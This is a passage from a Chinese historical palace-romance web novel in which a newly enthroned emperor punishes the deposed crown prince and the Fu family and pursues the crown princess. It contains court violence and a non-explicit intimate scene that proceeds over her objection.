声震山林,惊起鸟雀无数,扑簌簌地飞上天空。海东青倏然一声长啸,振翅扶摇而上,追逐飞鸟去。 未几,宋太监出,踉踉跄跄,跪倒在赵上钧的脚下,涕泪交加,泣不成声:“陛下、陛下,太上皇……山陵崩了。” 赵上钧瞳孔收缩,他霍然转身,疾行了两步,但在帐门之前又突兀地顿住了,站在那里一动不动,如同沉寂的山岳,而他的表情依旧不变,冰冷而肃穆。 群臣相顾失色,旋即再拜,皆掩袖掩面,失声恸哭,极致哀痛。 而此时,太阳明晃晃地悬于天空,云散去,天地一片清朗。 —————————— “你在说什么?”赵元嘉面容扭曲,目眦欲裂,不断摇头:“一派胡言!孤不信,这不是真的、不是真的。”他说着这些话,情不自禁流下眼泪,最后几乎是声嘶力竭地吼叫出来,“怎会如此?这不可能!” 幄帐内,东宫众人抱作一团,瑟瑟发抖。 陈虔跪在地上,不住叩首,声泪俱下:“圣、圣……不、是太上皇……禅位于淮王,后驾崩,如今淮王已承大统,受命于天,乃是新帝,殿下、殿下,这天变了啊!” 赵上钧踉跄着倒退两步,握紧了拳头,双目赤红,宛如滴血,咬牙切齿地道:“淮王、赵上钧……是他!是他害死了父皇,他谋权篡位,罔顾人伦,大逆不道!” 他突然大喊一声,冲过去,拔出了燕支剑,厉声叫道:“孤要去杀了他!” 傅棠梨大步赶上前去,避开剑锋,一把揪住赵元嘉的衣领,一记耳光重重地甩了过去。 “啪”的一声,清脆的巴掌声在幄帐中清晰地响起。 “二娘、你……”赵元嘉吃惊地瞪圆了眼睛,他无法置信,几乎反应不过来。 傅棠梨面沉如水,一反手,两记耳光再次甩了过去,又是“啪啪”两声,干脆利落。 陈虔听得“嘶”了一下。 傅棠梨不是长安世家那种娇弱女郎,她的手劲很大,这几个耳光用尽了全力,打得赵元嘉眼冒金星,她甫一松开他的衣领,他不由自己地倒退了两步,差点跌倒,仓促间,燕支剑掉到地上,发出“咣当”一声脆响。 这兵刃的金戈之声让赵元嘉骤然吓了一跳,僵硬住了。 “闹够了吗?”傅棠梨再度逼近一步,大声喝道,“你若想死,现在把剑拿起来,出去,走,找死去!” 赵元嘉呆滞下来,他带着脸上的手印子,茫然地看了看四周,东宫众人跪在地上,面容惨白,皆带惊惧之色,幄帐中一片死寂,连呼吸的声音都不敢有。 他的嘴巴张了两下,说不出话来,怔忡着,渐渐弯下了腰,身体像是发了寒、打摆子一般,抖个不停,最后跌坐在地上,慢慢抱住了头,痛哭失声:“父皇、父皇、父皇啊!” 傅棠梨的双手拢在袖中,腰身和颈项都挺得笔直,直到此刻,她依旧能够保持端庄而高贵的姿态,冷冷地看着赵元嘉。 “昨夜大臣们商议要事,殿下却只顾守在林承徽身边,不去过问情形,已属错谬,到如今,尘埃落定,大局已然如此,殿下又莽撞行事,出口无状,倘使外人闻,曰殿下悖妄,有谋逆之意,正好,今日带着东宫上下这么一大帮人,一起到泉下和父皇团聚去,岂不妙哉?” “你别说了、别说了。”此时此刻,赵元嘉不得不承认自己的懦弱,他根本没有勇气正面去和赵上钧对峙,在那一瞬间的冲动过去后,他的心底只余下惶恐和无助之情,缩在这幄帐里,揪着自己的头发,发出悲痛的哀嚎,“孤无能,孤不孝,孤愧对父皇啊!” 傅棠梨环顾四周,冷静地吩咐道:“太上皇崩,太子至孝,伤心过度,偶作癔语,尔等切记,过耳即忘,须知,尔等皆太子旧属,若当今圣上降罪于太子,尔等亦不得免,知否?” 众人唯太子妃马首是瞻,忙不迭地点头,“喏喏”应声。 赵元嘉还在哭着,呜呜咽咽,好似要把这些日子来所有的悲痛与惊恐一股脑儿发泄出来,哭得上气不接下气的,毫无仪态。 傅棠梨恨不得一脚把他踢出门外,但她又不能,只得叹了一口气,命仆从上,强拖着赵元嘉起来,打了水给他净手,又命人脱太子冠帽,仓促间不曾备下斩衰丧服,只能取白衣以代。 “好,留着眼泪不要擦,对,头发也不要再梳理,就这样,甚好,你把素服换上,哭着,不要停,去,现在就去拜见圣上,向圣上请罪,请辞太子之位。”她冷静地道。 “不!”赵元嘉脱口否决,嘶声道,“孤是太子、太 子!孤怎么能……” 话说到一半,他自己先收住了口。 他是元延帝的太子,原本将成为下一代帝王,而如今,坐在帝王位置上的那个人,该如何对待他? 赵元嘉想起赵上钧的素日脾性和手段,不由打了个哆嗦。 而这时候,傅棠梨已经在问他了:“那你说,是太子之位要紧?还是命要紧?” 赵元嘉不甘又无奈,当此众人面,他无法回答这个问题,顿觉难堪至极,又开始放声大哭。 傅棠梨咬着牙,忍了又忍,好不容易忍下来了,实在没法子,转而换了一副语气,耐着性子哄他:“听闻当今圣上乃是先帝所养育成长,手足情深,往日朝中多有称颂,如今先帝山陵崩,纵有不睦,也都烟消云散,圣上只会记得先帝的好处了,这是先帝给我们留下的后路。” 她指了指外头,声音愈发温和:“我虽不复记忆,但也听人提及,当今圣上杀伐果断,铁血铁腕,手中实实在在地握着重兵,你拿什么争?莫犯傻,听我一句劝,自己去辞了太子之位,将来安安分分的,圣上念得先帝的情,或许可以给你一世富贵清闲,又有什么不好?” 陈虔也在一旁点头,极力劝说:“太子妃所言甚是有理,太子素来温良恭俭,纯厚至性,本来嘛……这江山重负就不好承,劳心费神的,倒不如退一步,富贵清闲才是难得,快活似神仙一般,到时候,小人依旧陪着您,我们安心享乐去,不比从前差几分。” 东宫众人谁不惜命,纷纷出言附和,总之,太子妃从来睿智,她说的话,总是对的,太子一定要听从才是。 只有齐乘风脸色铁青,面带怒容,扭过头,大步走出了帐外。 赵元嘉被这一群人劝着,总算给自己找到了台阶下来,半晌,叹道:“也罢,就如二娘所言。” 当下,他收拾了一番心绪,含着泪,哭哭啼啼的,待要出去,才走两步,又停下,回头哀求道:“二娘,你陪孤一起去吧。” 傅棠梨微微皱眉。 赵元嘉目中流露出哀伤的神色:“如今,孤只有你了,你陪在孤的身边,孤这心里才能踏实,二娘,陪孤一起去吧。” 傅棠梨叹了一口气,卸下钗环,更换白衣,随赵元嘉一道出去。 外头艳阳高照。 眼下局势动荡,旧帝崩,新帝立,百废待兴,后有叛军步步逼近,各州府兵马动向不明,当此形势下,随圣驾出行的百官及家眷大多被禁于帐中,非圣命不得外出,除玄甲军的将领外,只有三省六部的重臣奉了帝命,在长陵坡营地中来回奔忙,各自行色匆匆,见旧太子及太子妃,皆神色尴尬,不过略一躬身,远远地就避开了,无人近前。 赵元嘉深恨这些人无情无义,但也无可奈何,这一路行来,心中愈发忐忑,将近玄甲军主帅大帐时,恰见赵上钧出来。 赵上钧已经脱去了道袍,他并没有穿上帝王的冕服,亦是一身素衣,以麻束发,但他形体高硕,气度威严,左右有几个大臣弓着腰,边走边和他禀告着什么,身后有铁甲武士持长戟随侍,仪仗森严,他行走其中,龙骧虎步,俨然有山岳巍峨之势,令人不能逼视。 赵元嘉尚未靠近,已有铁甲武士过来,一左一右架起长戟,拦住了他的去路:“圣驾出行,闲人止步。” 曾几何时,太子已经变成了旁人口中的“闲人”。 赵元嘉心头滴血,面上却不敢露出异色,反而忍气吞声,拱手道:“臣赵元嘉,求见圣上,烦代为通禀。” 两个武士对视了一眼,其中一人过去,向皇帝禀告此事。 距离有些远,傅棠梨跟在赵元嘉的身后,隔着众多士兵和大臣,她看见赵上钧转过脸来,他的个头很高,目光越过人群,望向这边。 乱风起,黑色的大纛在风中猎猎作响,夏日骄阳似火,悬于九重天上,过于耀眼,傅棠梨看不清他的神色,只觉得那一瞬间,锐利的煞气扑面而来,几乎刺破肌肤,令她怵然。 风吹得发鬓都乱了,她低下了头。 武士回来,依旧冷漠,硬邦邦地重复了一遍:“圣驾出行,闲人止步。” 新帝拒绝接见旧太子。 赵元嘉额头上冒出了豆大的汗珠,他浑身发抖,绝望地转过来,对着傅棠梨发问:“二娘,这该如何是好。” 傅棠梨没有回答。分明近在咫尺,而赵上钧却连她的面都不愿见上一见,这该如何是好呢?她也无从知晓。 他如今身份不同了,或许对他而言,她不过是罪臣之妻,不配与他说话。她思及此处,顿时觉得心里翻江倒海一阵难堪,脸上火辣辣的,没有再多看赵元嘉一眼,转过身,沉默地往回走。 “二娘、二娘。”赵元嘉慌慌张张地追上来,缀在傅棠梨的身后,他太过于紧张了,并没有留意到傅棠梨的神色,而是搓着手,不停地念念叨叨,“这该如何是好,皇叔、不、不、是圣上,是不是觉得孤会对他不敬,才不肯见孤?怎么办,这事儿若拖延下去,就怕旁人进了什么谗言,等不得孤请辞太子位,圣上就要治罪下来,这、这就来不及了。” 傅棠梨神色不动,仪态端方,步履沉稳,一句话也没有说,嘴唇抿得紧紧的。 “二娘!”赵元嘉烦恼地抓了抓头发,“你倒是说句话呀。” 傅棠梨瞥了他一眼,懒得开口。 赵元嘉忍不住,拉住了傅棠梨的袖子:“这么着,孤去找傅老大人,请他帮忙拿个主意,他是天子近臣,深谙圣意,又是你祖父,必然能为孤分忧,二娘,你觉可好?” “不好。”傅棠梨被人扯着袖子,终于停下脚步,用一言难尽的眼神看着赵元嘉,“圣上正猜忌你,你这会儿跑去和朝廷重臣私谈,在旁人眼中看来,你想做什么?结党营私,图谋不轨吗?” 赵元嘉慌忙摇头:“不、不,没有这个意思,孤只是……只是……” 他把傅棠梨的袖子抓得更紧了,放下他往昔尊贵高傲的架子,哀求道:“二娘,你是傅家的女儿,你回去向长辈请安,那是天经地义的,旁人说不得,若不然,你替孤去傅老大人那里,和他商议一番,求他指点迷津,或者求他去圣上面前替孤代为转圜,说不准还能换来一线生机,二娘、二娘,如今孤能靠得上的人只有你了,你不会见死不救吧。” 傅棠梨定定地看着赵元嘉好一会儿,长长地吐出一口气,不管怎么说,她顶着东宫太子妃的头衔,至少在外人看来,她与太子休戚与共,脱不开干系,这一夜之间,风云乍变,委实令人措手不及,现如今,她自己心里也没个底,赵元嘉说得不无道理,傅方绪是朝中老臣,必有深谋远虑之处,或可讨教。 她慢慢地点了点头,叮嘱道:“也好,我许久未见家人,这会儿便去问候祖父,你先回去吧,待在行帐里,哪儿也别去,话也不要乱说,记得安分最要紧。” 赵元嘉如释重负,啰啰嗦嗦地又交代了许多,这才忐忑不安地走了。 傅棠梨向旁边巡防的卫兵问了方向,朝傅家的行帐走去。 大臣们的行帐位于长陵坡的西北面,密匝匝的一片,前两日,军队哗变,危机四伏,前路不明,那时候,别管官阶几品、人口几何,大家伙都差不太多,恨不得全部挤在一起,只求别落单。自今日,赵上钧上位,玄甲军将长陵坡严密地看管了起来,巡防的卫兵谨然成阵,叫人安心了不少。 前排的一顶行帐,外观普普通通,上头用草书写了个“傅”字,以示傅府之意。 如今既无门面,也无仆从相迎,傅棠梨走过去,拱着手,站在帐外,咳了一声,客客气气地问道:“祖父,您老人家在吗,我来探望您了。” “且住!”里面传来老人严厉的喝止声,“太子妃莫要入内。” 傅棠梨一惊,知道此行不妙,一颗心沉了下去。 很快,门帘子挑开,傅之贺匆匆走了出来,朝傅棠梨摆了摆手:“老爷子不舒服,不见客,雀娘,有事情回头再说,你快快离去,这里……不太方便。” 不见客?原来她是客。 傅之贺的话说到这里,傅棠梨已经很清楚地知道了傅家的意思,这是要明哲保身,与她、与东宫割席了。 傅棠梨也考虑过,或许傅家不愿插手皇权纷争,对她虚应故事,但她却不曾料想,傅方绪竟能如此绝情,竟连”家门“都不让她踏入半步。 她的嘴唇张了张,想要说些什么,却突然说不出来,在这盛夏之日,只觉得寒气从脚底冒上来,浑身发凉。 或许是见她迟迟不走,傅之贺也有些急了,低声道:“好孩子,你快走吧,莫叫人瞧见,如今我们家是自身难保,你莫要再带累我们了。” 对于这个父亲,傅棠梨失忆之后只见过一 次,彼时她才回东宫,太子命人将傅之贺和继母杨氏夫人接到宫里和她见面,父母是极殷勤的,殷勤到令她觉得乏味,当日不过略说了一会儿话,便散了。 及至今日再见面,竟然露出如此截然不同的另一幅嘴脸,真真叫傅棠梨叹为观止。她忍不住开口:“父亲,我是傅家的女儿,祖父亦与太子交往甚密,我若遭殃,难道傅家能落到好处吗?一条绳儿上的蚂蚱,还跑哪去?” 傅方绪在帐内听得傅棠梨这一番话,愈发懊恼,他浸淫官场多年,这辈子就没做过亏本生意,谁能想到呢,最大的一宗居然失了手,眼看着炙手可热的东宫太子,转眼间成了丧家之犬,害他一番宏图壮志都落了场空,气得肝都裂了,此刻见傅棠梨上门来,正好迁怒于她,在帐中提起嗓门,高声训斥。 “我傅家小门小户,当不起太子妃提携,你往日仗着东宫威势,在老夫面前不尊不敬,老夫早就看透你这无良女子,闲话少说,快快去休,自此后,傅家与你毫无瓜葛,莫做纠缠。” 老头子的这番话,声音大了些儿,惹得旁边行帐中的几个官员并家眷都探出脑袋来瞧个热闹,见得是太子妃站在那儿,不消多说,都恍然大悟,知道傅老头儿一贯习性如此,不免唏嘘,在各自门口指指点点,窃窃私语。 烈日当空,傅棠梨头晕目眩,浑身的血液一阵阵往上冲,脸皮涨得快要涌出血来,但在这种情形下,她反而站得笔直,高高地抬起下颌,微笑了一下:“是,我知道了,祖父担忧是自然的,前头有人撺掇圣驾出逃,弃国都与宗庙于不顾,实乃天下罪人,那是谁呢?一个是林尚书,全家人如今都躺在北面山坡上喂秃鹫呢,还有一个,哦,好像就是祖父您呢。” 她叹了一口气,诚恳地道:“无妨,反正我们一家人,骨肉至亲,要死呢,死在一块儿,亲亲热热的,谁也不嫌弃谁。” 旁边几家官眷听她奚落得实在妙,忍不住掩口笑了起来。 傅家帐子里传来惊呼:“父亲、父亲,您怎么了?老三、老三,你快来,老爷子晕过去了。” 傅之贺气得直跺脚,指着傅棠梨,怒道:“嗐,你满口混说什么!不孝女,你要气死祖父才甘心吗?” 他骂完,急急跑回去了。 傅棠梨心满意足,又意兴阑珊,矜持地扫了四周一眼,转身离去。 巡防的士兵听得这边吵闹,赶了过来,得知这番情景,也有些哭笑不得的,对着左右喝斥了几句,那些看热闹的又把脑袋缩回去了。 周围安静下来。 傅棠梨走了一段路,拐过一片行帐,却听见后头有人唤她:“雀娘、雀娘。” 她顿足,回头望去。 一个中年妇人拖着胖乎乎的身体,急匆匆地追过来。 傅棠梨在脑子里转了一圈,认不出这妇人是谁,客气地招呼了一声:“敢问夫人是?” 那妇人驱步到近前,抹了一把额上的汗,听得傅棠梨这样问,又露出心疼的神色:“你这孩子,果然是什么都忘了,我是你大伯母啊。” 傅家的大伯母,严氏,听闻自己与她平素并无交情,此时却不知严氏过来为何。傅棠梨心中思忖着,面上不动声色,只一颔首:“祖父叫我与傅家莫作纠缠,大伯母还是请回吧,免得带累您。” 严氏眼眶红了,她伸出手,可能想要摸一摸傅棠梨,又觉得不妥,缩了回来,搓了搓手,叹息道:“场面话我不多说,雀娘,我知道你心里委屈,我这会儿也无能为力,应承不下什么,但是,你须记得,我是你大伯母,我们家若能逃过这一场劫数,来日,你来投靠我,我把你当自己女儿养,你不用担心没有退路。” 傅棠梨这会儿扎扎实实地怔住了。 严氏拍了一下手,含着泪,自己又笑了起来:“你母亲,哦,说的不是现在这个,是你亲生母亲,韩家的阿雅,她在的时候对我很好,大把大把银子撒着,没把我当外人看,这份情意我是记得的,原先你得势,我不去攀附,但如今你有了难处,他们没良心,我却不能不管。” 傅棠梨的喉咙口有些发酸,她点了点头,慢慢地道:“好,大伯母,我知道了,多谢您,我心里实在……非常感激。” 只因巡防的士兵又往这边来了,严氏不好多说,略嘱咐了两句,又赶紧回去了。 傅棠梨感慨万千,在那里站立了片刻,想了想,转了个方向,往长陵坡南面走去。 长陵坡西北面地势平缓,毫无遮挡,适宜驻营,东南面却是草木旺盛,岩石嶙峋,大树耸立在丘陵间,间或投下一大块参差的影子,翻过南角那个山坡,就是渭州兵马的驻扎地。 她下了缓坡,才走几步路,突然从树后转出一个人,牢牢地抓住了她的手臂。 她低着头,看也不看一眼,使劲把胳膊往回抽:“放手。” 第68章 第68章新帝偷会旧太子妃 “你要去哪里?”赵上钧的手掌如同铁箍一般,强硬有力,但他的声音却是温柔的。 巡防的士兵早已经退避三舍,左右寂无人声,丛林中偶有虫鸣。 “我去找我韩家的大表兄,如今谁也指望不上,我且去求他,看他能不能保我一命。”傅棠梨一板一眼地回道。 赵上钧伸手一拉,一把将傅棠梨按在树干上,靠过来,压制着她,声音充满了危险的意味:“你何必故意和我赌气,韩子琛,他算什么呢,你怎么能去求他?“他的声音低了下来,轻轻的,像是在诱哄她,”梨花,你要来找我才对,你不需求任何人,我对你,唯命是从。” 傅棠梨终于愤怒了,涨红了脸,推搡他:“我找你,你却不见我,说什么唯命是从,岂非笑话?我知道的,如今你宸极居尊,我有什么……” 后面的话被堵住了。 他的嘴唇覆盖下来,不容分说,气势汹汹地吻住她,辗转反侧,交错缠绕,夏天的空气,炙热而潮湿,草木在阳光下疯狂滋长,雄性的兽类在草木中蹭来蹭去,散发出的味道,带着一点点难以言说的腥膻。 夏日轻裳单薄,粗糙的树皮在背后摩擦着,生出了一点难耐的疼痛,那个男人身体滚烫,热气蒸腾,叫人浑身都湿透了,挣不脱、躲不开,傅棠梨无法忍受,挣扎起来,使劲踢他。 他的腿也并了过来,灼热难耐的夏季,丛林中的草木倏然勃发,凶险而强硬。 傅棠梨吓得整个人都僵硬住了,汗珠顺着鼻尖滴下来,痒得要命。 良久,他才松了口,幸而,这只是一个亲吻而已。他显然是不满足的,嘴唇贴着她的脸颊,他的气息喷在她的肌肤上,白梅花被热得融化了,乌木的香气苦涩而隐秘。 “方才不想见你,是因为我不想见‘太子妃’,梨花,你明白吗,从今日起,我不能容忍你和赵元嘉一起出现在我面前,更不能容忍你和他在我面前做出夫妻模样。”他用牙齿咬住了她的耳垂,这样的耳语,好似带着一点咬牙切齿的意味,“我怕我会忍不住,当场杀了他,把他的头拧下来。” 傅棠梨打了个哆嗦,不知道是因为他的言语,还是因为耳垂上传来的那种、被啃咬厮磨的触感,叫她后背发颤,站立不稳。 “我觉得这样不太好,至少现在,我还不想杀他。”他像是难以忍耐一般,重重地哼了一下。 傅棠梨脸上烧得更厉害,脑袋冒着热气,她觉得自己快要熟透了,又不知道该如何应付面前这个男人,只能慌乱地扭过脸,不去看他,敷衍道:“行了,总之,你说什么就是什么,我不和你纠缠这些个事儿,你放开,我要走了。” 赵上钧放开了傅棠梨,但他却解开腰带,开始脱衣。 傅棠梨吃惊地瞪圆了眼睛:“你、你做什么?” 他的动作是极快的,还 未等傅棠梨转身逃走,他已经将那件外袍朝她当头罩了下来,把她整个人包裹了起来。 男人的身形高挑而健硕,他的外袍又宽又大,傅棠梨只觉得眼前一黑,连着脑袋一起被遮住了。 “啊!” 傅棠梨才刚惊叫了半声,倏然一阵天旋地转,被赵上钧提了起来,他的力气那么强悍,就像抓住一只小鸡仔或者小麻雀,轻而易举地捏住,一把将她扛在肩膀上。 “玄衍!”傅棠梨恼火地叫了起来,她的双手都被袍子捆缚着,无法动弹,只能用脚尖去踢他,“你做什么?成什么体统?快放我下来!” 赵上钧不为所动,大步向前,冷静地提醒了一句:“旁人会听出你的声音。” 傅棠梨马上闭嘴了,咬紧牙关,恨恨地踹他。 但对赵上钧来说,只当她蹭来蹭去撒娇罢了,不痛不痒。 这一路上有众多士兵,见皇帝至,俯首避开:“陛下。” 或有大臣路过,也忙不迭地退让道旁:“陛下。” 至于皇帝陛下肩膀上扛的那一坨,根本没有人敢抬眼细看。 傅棠梨听着这些声音,吓得心跳都快停了,恨不得缩成一团,趴在赵上钧的肩头,一动不敢动。 过不多时,傅棠梨又被放了下来,落到柔软的地毯上,她手忙脚乱地扯着那件男人的外袍,太大了,一大团,扯了半天才露出一个脑袋,而赵上钧已经走开,“刷”的一声,拉过一扇屏风遮住她,厉声吩咐左右:“来人,传赵元嘉,传从三品以上官员,统统过来。” 皇帝的声音威严而森冷,带着显而易见的怒气,左右不敢怠慢,飞似也地去传唤众臣下。 傅棠梨看了看周围,这是一处营帐,比东宫的太子幄帐还要宽敞,以品阶论,不是王帐,就是玄甲军的主帅大帐。帐子中间被赵上钧拉了一道十二折的羊皮山水屏风,将空间分隔为前后两端,各自可闻其声,不见其影。 这会儿前头陆陆续续地有人进来,不好出去了。她有些心烦起来,慢慢地把袍子拉开,揉吧揉吧揉成一团,抱在怀里,无声地叹了一口气。 袍子上还带着男人的体温。天太热了,这是一个令人烦躁的季节。 很快,大臣们都来了,乌泱泱的一片,把幄帐挤得几乎没处落脚,品阶低一些的官员,只能排到幄帐之外,躬身以待。 太子赵元嘉也来了。 是的,至少赵元嘉现在还是太子,正因如此,他十分不安。先前求见被拒,眼下突然又被传唤,这其中必有变故,他却无计可施,此时到了帐中,偷偷地看了一眼上面。 高高的屏风竖在正中,水墨描绘日月长空、山河万里,黑白分明,一片肃杀。屏风前一把交椅,虎皮铺垫,虎头狰狞,赵上钧居于其上,大马金刀坐着,面无表情地俯视众臣。 赵元嘉正心惊间,听见赵上钧叫了一声。 “太子。” 赵元嘉吓得一激灵,急急出列,跪伏于地:“臣在。” 赵上钧的面色淡淡的,喜怒不辨:“大兄驾崩,太子缘何面无悲色?” 父皇驾崩,赵元嘉自然是伤心的,已经大哭了一场,但转眼面临杀身之祸,无暇他顾,已经把这份悲哀给忘得差不多了,这会儿脸上泪痕已干、戚容不复,骤然听赵上钧问他,一下子张口结舌,答不上话来。 赵上钧勃然大怒:“大兄立汝为储君,素来爱护备至,今大兄既去,汝不悲不啼,无心无肺,怎堪为人子!” 帝王之怒,如惊涛肆卷,击碎礁岩,溅起狂风雪浪,众大臣站立不稳,“噗通噗通”地都跪下了。 赵元嘉本来还想分辨两句,但一见赵上钧发怒,那种骇人的气势已经把他压垮,他完全无法张口,只能流着泪,不停磕头。 赵上钧指着赵元嘉,对左右喝道:“带太子去先帝灵前,叫他哭,若哭不出来,就抽他鞭子,未得朕令,不得停!” 立即有卫兵上前,架起赵元嘉,拖了出去。 赵元嘉惊恐而凄惨的哭声传了很远,一会儿才散。 大臣们明白皇帝这是借题发挥,先发落了一个旧太子,不知下一个要轮到谁,各自心惊胆战,不敢抬头。 果然,赵上钧又叫:“傅大人。” 在场的傅大人有两位,一位是尚书令傅方绪,一位是国子监祭酒傅之贺,皇帝叫的,自然是老的那个。 傅方绪巍巍颤颤地站出来:“老臣在。” “老臣?”赵上钧脸色淡淡的,但他的目光是冰冷的,叫人发寒,“傅大人果然是老了,倚老卖老,昏聩无能,在朝政之上毫无建树,却懂得挑唆先帝弃都而逃,贪生怕死的苟且之辈,你有何面目立于朝堂之上?” 傅方绪无言以辨,他在元延帝面前犹可说上两句,但对于赵上钧,只有胆寒而已,跪下来,伏地不起,不停发抖。 赵上钧看着傅方绪,如视虫豸,冷冷发话:“免傅方绪尚书令之职,贬为庶民,杖十。” 这么大把年纪的,杖十,岂非要当场毙命,众大臣抖了抖,一时不敢吱声,只帐外一人,情不自禁地“啊”了一下。 赵上钧高坐帐上,神情生冷:“放肆,何人喧哗?” 卫兵马上出去,将一个官员拎到圣驾前。 那官员匍匐两步,不敢抬头,抖得像筛糠似的。左右已有人向皇帝禀告:“此开国县侯、国子监祭酒傅之贺,乃傅方绪之子。” 这个县侯的头衔,还是傅棠梨出嫁前,太子做事不地道,元延帝为了安抚傅家而临时封赏的,如今听来,格外讽刺。 赵上钧多年执掌重兵,铁血杀伐,本有酷烈之名,今日不知何故,尤其暴戾,此际“嗤”了一声:“于国无用、于民无益,何当县侯,简直荒唐,又是一个欺上瞒下之辈,免其爵、免其职,杖十。” 傅之贺又“啊”了一声,瘫倒在地,两眼翻白。 大臣们这下明白了,其他都是借口,皇帝这是要和太子一派做个清算,才把太子妃的娘家一并牵扯进去,可怜,这下谁也救不了傅家。 很快有卫兵过来,将傅氏父子的官帽及官袍一并剥下,就要拉下去杖责。 安王和傅方绪毕竟多年同朝为官,心生怜悯,上前求情:“陛下,傅方绪年已老迈,恐怕受不得杖责之刑,陛下方登基,正宜彰仁德 、祈天运,莫使血溅御前,污陛下之眼。” 赵上钧以铁腕行事,素无禁忌,什么仁德、天运之说,一概没有放在眼中,但下面的两个毕竟还是傅棠梨的血亲,他们方才既对傅棠梨不敬,小施惩戒即可,若当场打死了,恐怕回头也不好交代,听安王出声,正合心意,当下略一思量,用手指敲了敲交椅的扶手。 偏偏这时候傅之贺自以为聪明,哆哆嗦嗦地开口讨饶:“陛、陛下容禀,臣那不孝女自嫁入东宫后,与家中素无往来,臣等早已与她恩断义绝,毫无瓜葛,傅家满门对圣上忠心耿耿、绝无贰心,乞伏陛下明鉴。” 这话不说犹可,一说,赵上钧几乎气极而笑,他勾起嘴角,露出一个冰冷的笑意,帐中的气氛骤然沉了下来,盛夏之炎,难挡寒气。 “什么东宫云云,不知所谓。既傅方绪不能受刑,便令其子代,并责二十杖,不用带下去,就在此处行刑,众卿观之,引以为戒,日后当忠勤务事,勿行左道。” 傅之贺如遭霹雳,惊恐不能自已:“不、不、陛下、陛下饶臣一命!臣知错了!陛下饶命、陛下!” 大臣们“刷”的一下,齐齐后退,免得遭受池鱼之殃。前面一小块空地,就余傅家父子二人。 皇帝陛下最不喜人呱噪,玄甲军的卫兵迅速将傅之贺的嘴用布团紧紧塞住,当即有人取来廷杖,按住了傅之贺,毫不留情地挥了下去。 “嘭”的一声响,傅之贺身体抽搐,像钓上岸的鲶鱼一般,抖了一抖,发出沉闷的、扭曲的声音,不可分辨,大臣们也跟着抖了一抖。 傅方绪软绵绵地瘫在地上,没有丝毫反应,也不知道是吓呆了、还是晕过去了。 “嘭”的又一声响,血水从廷杖上溅落。 行刑的士兵硬邦邦地报数:“一杖、二杖、三杖……” 赵上钧高坐上首,姿态威严,神情倨傲。 帐中无人敢出声,大臣们连呼吸都不敢大口。 然而,就在这时,屏风后头响起了异样的动静,有人用手指叩着支架,“笃笃笃”的,急促而凌乱,就像没头没脑的虫子在乱撞。 谁人如此放肆?大臣们手心里捏了一把汗。 赵上钧目光一动,起身来,走到屏风后面。 傅棠梨在那里急得满头大汗,她又不敢出声,只能使劲朝他做手势。 赵上钧揣摩了一下:“不够?干脆打死。” 胡扯!傅棠梨疯狂摇头。 赵上钧挑眉:“够吗?” 够了!傅棠梨把头点得像小鸡啄米。 赵上钧略一侧首,懒洋洋地吐出一个字:“止。” 卫兵闻声收手,傅之贺已经如同一团烂肉,躺在那里,出的气多、进的气少,奄奄一息。 群臣骇极,面面相觑,不知屏风后是何方神圣,能轻易息帝王之怒。 但其实赵上钧并没有怒火,他看着傅棠梨,甚至要耐着性子,轻声问她:“还生气吗?” 傅棠梨这时候不能说话,嘴唇抿得紧紧的,下颌抬得高高的,瞥他一眼,就把脸扭开了。 看来还是生气的,她在旁人面前从来端庄稳重,唯有对着他,无端端生出许多娇纵之意。赵上钧笑了笑,抬起手,轻轻地把她被袍子弄乱的发鬓理到耳后,顺便揉了揉她的头顶,毛绒绒的,真是柔软又可爱。 他的声音低而温存:“嗯,我知晓了,你是在和我怄气,怪我先前不愿见你,好,这其实是我错了,我不该矫情,你本来就应光明正大地和我站在一处。”他没有任何迟疑,清晰地道:“我现在就昭告天下……” 他这么说着,抬起步子就要往外走。 这人,莫不是疯?傅棠梨大惊,赶紧去拉他,但那个男人的力度那么大、意志那么坚决,她不但没拉住,还被他带着前行了两步,眼看着就要出屏风后面走出。 她吓出了一身冷汗,情急之下,来不及思索,一头扑到他怀里,踮起脚,捧住他的脸,果断地贴了上去。 这……大约算一个吻? 她开始只是马马虎虎地啄了一下,他遽然停住脚步,好似发出一声沉沉的闷哼,这让她觉得不太稳妥,手沿着他的耳朵往后滑,干脆勾住他的脖子,把他拉低下来,用牙齿啃咬他的嘴唇,不太轻、也不太重,那样的力道,恰如说不出口的抱怨,黏黏糊糊。 赵上钧显然很受不了这个,他反手揽住了傅棠梨,她最近真的瘦了,腰肢更细了,被他掐在手掌中,那么一截正正好,他完全地握住了她,热烈地回吻。 其他的,暂时不顾了。 大臣们在前头候了一会儿,先是时,只听见“不够”、“够”云云,稍后皇帝的声音低了下去,又闻得“我现在就昭告天下”之语,再后来,却没了声音。 不、也不是完全没了声音,有点奇怪的动静,窸窸窣窣的,像是一只虫子爬出来,又被摁住了。 皇帝要昭告天下什么? 大臣们甚是惶恐,一个个拉长了耳朵、伸长了脖子,眼巴巴地盯着屏风那边,试图盯出个洞来。 只有庄敬能猜出这其中大概的情形,觉得似乎不妥,他一向是个忠心的属下,刻意大声地咳了两下,自作主张,叫大臣们统统退了出去,又命人把傅方绪和傅之贺父子两个一道拖了下去,还贴心地将左右侍从一并带走,门帘子掩好了。 傅棠梨憋了一口气,仔细听着外头的声音,终于听见众人全都走了,“嗯嗯”了两声,推了赵上钧一把,示意他放手。 赵上钧既然被她挑衅出火气来,此时哪里肯善罢甘休,他抱着她,猛地压下来,顺势滚倒。 素牛皮的簟子铺在地上,厚实而细腻,肌肤贴上去,有一种冰凉的感觉,让人的毛孔一下子缩了起来。 他掐住她的腰,按住她,俯视着她,目光似温柔又似狂乱:“梨花,我现在是皇帝,你看,所有人都要臣服于我,没有人可以再来阻碍我、阻碍我们,你是我的,当然,只能是我的,对不对?” 她太过熟悉他了,很快明白了他的意图,她慌张起来,伸手打他,想要拦他:“别,这会儿,不能!” 那么点儿力气,哪里拦得住。 帐篷外有人,隐隐约约的,战马在嘶鸣,士兵在来回跑动,偶尔一声鹰隼的啼鸣,从遥远的长空传来,一切杂乱而喧闹。 她羞得发抖,缩得紧紧的,发出一点近似啜泣的声音:“外头那么多人,这光景,若是、若是……” 没有若是,他坚定而强硬,她无从抗拒,高高地仰起了头,她的脖颈如同一道弓,绷得笔直。 雪白的、细嫩的脖颈,如同风中的蒲草,瑟瑟发抖,她的眼角沁出了泪珠,不知道是什么缘故,极致的羞怯、或者是极致的欢喜? 赵上钧摸索着,握住她的手,十指交错,紧紧地握在一起。 